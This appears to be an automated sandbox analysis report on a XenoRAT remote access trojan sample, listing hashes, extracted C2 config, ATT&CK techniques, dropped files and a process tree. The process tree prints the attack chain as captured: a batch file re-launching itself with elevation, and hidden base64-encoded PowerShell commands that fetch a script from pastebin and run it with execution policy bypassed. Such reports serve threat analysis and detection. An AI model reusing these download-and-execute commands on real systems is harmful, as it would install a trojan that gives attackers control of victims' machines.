xenorat | 4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71

General

Target

virus_src.bat
Size

652B
MD5

3d20c8ba40ea3e85334342e7c01018bd
SHA1

b678d69ec173ca2e385ba8a8bda18be618f5af2c
SHA256

4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71
SHA512

0fdeac77b6c4f3ba7ee53c33785c6c576873a7798d8921721d21498910316893b8ebb0e499759bd1d62239506499ce4bf9f222a2019c4a882ffd1a2ce86a6776

Score

10^/10

xenorat discovery execution rat trojan

Malware Config

Extracted

Family

xenorat

C2

127.0.0.1

Mutex

09fasifjkansmf8s9ghjndui90gijmfgpjkjyt90y843

Attributes

delay
5000
install_path
nothingset
port
4444
startup_name
nothingset

Signatures

Detect XenoRat Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000300000001e767-60.dat	family_xenorat
behavioral2/memory/4136-68-0x0000000000700000-0x0000000000712000-memory.dmp	family_xenorat

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Xenorat family
xenorat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	3136	powershell.exe
19	2820	powershell.exe
21	2820	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3136	powershell.exe
2904	powershell.exe
2820	powershell.exe
3976	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4136	rat.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
21	raw.githubusercontent.com
8	pastebin.com
9	pastebin.com
20	raw.githubusercontent.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rat.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3976	powershell.exe
3976	powershell.exe
3136	powershell.exe
3136	powershell.exe
2904	powershell.exe
2904	powershell.exe
2820	powershell.exe
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	3136	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 3976	4316	cmd.exe	84
PID 4316 wrote to memory of 3976	4316	cmd.exe	84
PID 3976 wrote to memory of 116	3976	powershell.exe	85
PID 3976 wrote to memory of 116	3976	powershell.exe	85
PID 116 wrote to memory of 3136	116	cmd.exe	87
PID 116 wrote to memory of 3136	116	cmd.exe	87
PID 116 wrote to memory of 2904	116	cmd.exe	88
PID 116 wrote to memory of 2904	116	cmd.exe	88
PID 2904 wrote to memory of 2820	2904	powershell.exe	89
PID 2904 wrote to memory of 2820	2904	powershell.exe	89
PID 2820 wrote to memory of 4136	2820	powershell.exe	90
PID 2820 wrote to memory of 4136	2820	powershell.exe	90
PID 2820 wrote to memory of 4136	2820	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\virus_src.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\virus_src.bat' -ArgumentList "am_admin"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\virus_src.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQgBoAFcAdgBTAFAAcQBxACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAUwB5AHMAdABlAG0AUwB0AGEAcgB0AHUAcAAuAHAAcwAxAA==
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAFMAeQBzAHQAZQBtAFMAdABhAHIAdAB1AHAALgBwAHMAMQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2820
      - C:\Users\Admin\AppData\Local\Temp\rat.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rat.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2cd928baba5af07197e8ab4c3309ff7c

SHA1
f282ff7f9323a5f5eab5479fd7c7e25776deac75

SHA256
52638798f1f802fe7015092932c729461f2ba72fa3c906b443f7cedcc99f88c5

SHA512
bea23897dd1f0a5aeb44f1197128e87bf1da2e5dad2d281425ed9b6bee0dd5e3b1898fe2e4eef659ed5a6bb13014ed57d3fd914e5b1247247d7fe2684fca69ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1

Filesize
444B

MD5
36283fdf74e6a121263391fc05cbdb16

SHA1
214b06862abbeeb40e71b2b244b2018453c1282a

SHA256
d7720dc0062268305fd1ad4751f58ee4aceab50c2923f19ebde5e426a9e0dc5a

SHA512
15ef36edcc2bb6b6fc192aee0647146c65ec771168952aa7e3a5fd7024ab01ee7348b2fe3ce03d5c6e1e8e1d15ddcd0e4671f5f5734f48d5c3d200931db5725f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0jon44s.hsn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rat.exe

Filesize
45KB

MD5
77020688c984e8b2675f7d0d33f02b3e

SHA1
6d67ebf519424f1f1ace23b6ce2c56aa5c7449b8

SHA256
c9ec55f100a9b7cb76f0ee6d2ba97edab4f133ca3a2351e96162159446c986ec

SHA512
c60ade9f5fdc3c0590c4fd2995a61b81e333e4afb329d9a10833e1bd7f9b444eaea6bb23d0dd2d85c6163a71166bba06c0603f2e9a5c0e4d83474b25c72d4004

Download Submit
memory/2820-67-0x000002C3E24F0000-0x000002C3E2566000-memory.dmp

Filesize
472KB

Download
memory/2820-54-0x000002C3E22D0000-0x000002C3E2314000-memory.dmp

Filesize
272KB

Download
memory/3136-34-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3136-17-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3136-29-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3136-30-0x000002C19C900000-0x000002C19D0A6000-memory.dmp

Filesize
7.6MB

Download
memory/3136-18-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3976-0-0x00007FFBC4243000-0x00007FFBC4245000-memory.dmp

Filesize
8KB

Download
memory/3976-15-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3976-12-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3976-11-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3976-1-0x00000229FBB10000-0x00000229FBB32000-memory.dmp

Filesize
136KB

Download
memory/4136-68-0x0000000000700000-0x0000000000712000-memory.dmp

Filesize
72KB

Download

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